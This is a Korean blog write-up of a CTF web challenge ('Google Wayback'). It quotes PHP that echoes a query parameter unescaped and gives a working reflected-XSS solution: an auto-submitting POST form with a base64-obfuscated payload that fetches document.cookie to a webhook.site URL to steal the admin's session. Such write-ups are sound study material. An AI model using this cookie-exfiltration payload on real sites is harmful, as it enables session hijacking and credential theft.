티스토리 뷰

728x90
반응형
Google Wayback
A copycat site of Google in 2001.

Hint: Do you know Google used to have XSS?

easy / 25 solves / 338 pts

 

문제 개요

Post Reflected XSS to hijack admin's credential

코드 분석

우선 search.php 파일의 소스코드를 보면 POST 요청만 허용하고 있고, recaptcha 코드가 일치해야된다고 합니다.

<?php

if ($_SERVER['REQUEST_METHOD'] !== "POST") {
    die("no recaptcha");
}

if(!isset($_POST['g-recaptcha-response'])){
    die("no recaptcha");
}
    
$captcha=$_POST['g-recaptcha-response'];

$secretKey = "[REPLACE ME]";
$url = 'https://www.google.com/recaptcha/api/siteverify?secret=' . urlencode($secretKey) .  '&response=' . urlencode($captcha);
$response = file_get_contents($url);
$responseKeys = json_decode($response,true);
if(!$responseKeys["success"]) {
    die("wrong recaptcha");
}



?>

 

그리고 form 태그의 input 을 보시면 GET 요청으로 온 q 파라미터의 값을 xss filtering 이 전혀 없이 그대로 value 속성의 값으로 넣어주는 것을 볼 수 있습니다.

<form action="#" name="gs" id="tsf" method="GET" style="display: block; margin: 0; background: none;">
    <table border="0" cellpadding="0" cellspacing="0" style="margin-top: 20px; position: relative;">
        <tbody>
            <tr>
                <td>
                    <div class="lst-a">
                        <table cellpadding="0" cellspacing="0">
                            <tbody>
                                <tr>
                                    <td class="lst-td" width="555" valign="bottom">
                                        <div style="position: relative; zoom: 1;">
                                            <input class="lst" value="<?php echo $_GET["q"]; ?>" title="Search" id="sbhost" autocomplete="off" type="text" name="q" maxlength="2048" dir="ltr" spellcheck="false" style="outline: none;" />
                                        </div>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                </td>
                <td>
                    <div class="ds">
                        <div class="lsbb">
                            <button class="lsb" value="Search" type="submit" name="btnG">
                                <span class="sbico" style="background: url(/Google_files/nav_logo124.png) no-repeat -36px -111px; height: 14px; width: 13px; display: block;"></span>
                            </button>
                        </div>
                    </div>
                </td>
                <td style="font-size: 11px; padding-left: 13px;"></td>
            </tr>
        </tbody>
    </table>
    <input type="hidden" name="oq" /><input type="hidden" name="gs_l" />
</form>

 

문제 풀이

문제는 관리자에게 특정 URL을 전송하면, 해당 URL에 접속한다고 설명하고 있습니다. 그러므로 위 코드에서 XSS 가 발생하는 지점을 이용해 세션을 탈취할 수 있는 script가 담겨진 페이지를 임의로 하나 만들고 해당 페이지의 URL을 관리자에게 전달하면 문제는 풀리게 됩니다.

 

문제 풀이를 위한 페이로드는 아래와 같이 만들었습니다.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://google.jp.ctf.so/search.php?q=%22%3E%3Cimg/src/onerror=eval(atob`ZmV0Y2goJ2h0dHBzOi8vd2ViaG9vay5zaXRlL2ZjZWE4NGZlLWRlMjctNDEyZi04YzFkLTZkNDNkMzVmZjkwOD8nK2RvY3VtZW50LmNvb2tpZSk7`)%3E%3C/%22" method="POST" enctype="multipart/form-data" name="fasdf">
      <input type="hidden" name="g-recaptcha-response" value="03AGdBq27yFj13eruKYzzZXghEZMP_W_-11Z8EGFG0XtGlCLHEmMAbzqa3InIqpU5vC2WOHtXSXJz3DlGBv5Vvvo0QT0wRjc-jP3V2U-vSGX4hGPIAhiTbJBR2ca9Z5eL_BberDoG7mRF4pcz1725XqIj2jembFrySB9DKa15EIZfuvRsqwzcwyjIufxhtIb2sU6k8LrzooFFJ5PNxkqaTUj79g7bt9Wjl4WIAM2iiBnVApqlbOC9nbOT-1pRj2dD0nzAN_xIXLRwPD2oqnUwF2WW4Y-xf-ZBS61WN0fDQEL0Pn0py-KAXQ2Ml272J1jKoJiz93fWqENobMN0t_5B8MVXKA-n_IB2nxgrYmFM4BhrSjsVAxSBhsPU_j_xwYA6MYxWMYUAoVanpjG56y25y58-OwJSnwTOyj5t3vaqKw27Im4PeE2Ot7qktc5tymuuKJQ1fpy9z3AVfONCNtct-PZ2ohqKCQYo0SEfcgUu9zeYt4uIhqs9WKgx5dyKHYgMGCJSKJKHMLRUjaXurNV9fbkIuhoDUMzbxlnnn8CAHVOCmM86taOU42z2FmKa0cy8QgHGRgasoUMcmBvF3gYQY7GUArH_OOdyWURVv6hNx8uf6cB8Dpd4GvKS8I6tB6CfCn6cN6s1TdP6zMnbwCBC5deGHXemfg3IphnYPQMkn21OpBmDkrKA1jl--azAgO6CZymSvKL4i4pp8w1MaGw51kGvCtYBSvKywQPsRkQTtd8qhppCU1EyGXc2b3MB8xsb6bryipCC_KWrJpPtWgAeuBzvl9nJ_JxWVozxqdzrXDuTeqa-kpfZrekw0EBEIh_gULSIE1gVHHFNT8VmKs22vre5MSk04IJ0VimHBK-I12U_-55_WhpzDTtbR0ix2o9xBQUSJ284Q_YnD6ACvTw96XaZTKHuwl47c2rdH1qUSeadd5w-46IxO24XaZnyDaA2yYIDUdmZDq_Ju9muUxxpsdrBbmgo8lcFPG3pZBFxzNtI9wP2lIuwf--tIwIonXQmAsgoflnMsmvj5BDCGGrQMTU7MbKNG32A19Dr0QPNc1Vc-cq6jYTqshPkKCAZXj9SQYZT5tk31KeuPqXS0Di1Ifqsz37xFp3NR_sriKJHCQGbBNK3xT2Sp9eI" />
      <input type="submit" value="asdf" />
    </form>
    <script>document.fasdf.submit();</script>
  </body>
</html>

g-recaptcha-response 값의 경우 captcha 인증한 이후에 받게 되는 응답 값으로 주었습니다. "로봇이 아닌 것"을 인증하고 나면 아래와 같이 response 값이 생깁니다.

그리고 XSS 페이로드의 경우 아래와 같이 주었습니다. 그리고 base64 디코딩한 것을 풀면 아래와 같은 fetch 함수가 만들어집니다.

"><img/src/onerror=eval(atob`ZmV0Y2goJ2h0dHBzOi8vd2ViaG9vay5zaXRlL2ZjZWE4NGZlLWRlMjctNDEyZi04YzFkLTZkNDNkMzVmZjkwOD8nK2RvY3VtZW50LmNvb2tpZSk7`)></"

<!-- fetch('https://webhook.site/fcea84fe-de27-412f-8c1d-6d43d35ff908?'+document.cookie); -->

풀이하자면 background에서 fetch 함수로 제가 생성한 페이로드가 있는 사이트에 쿠키값을 보내게 하여 관리자의 세션 값을 탈취하는 시나리오입니다.

 

그리고 아래와 같이 세션 값인 Flag 가 탈취된 것을 확인할 수 있습니다.

728x90
반응형
댓글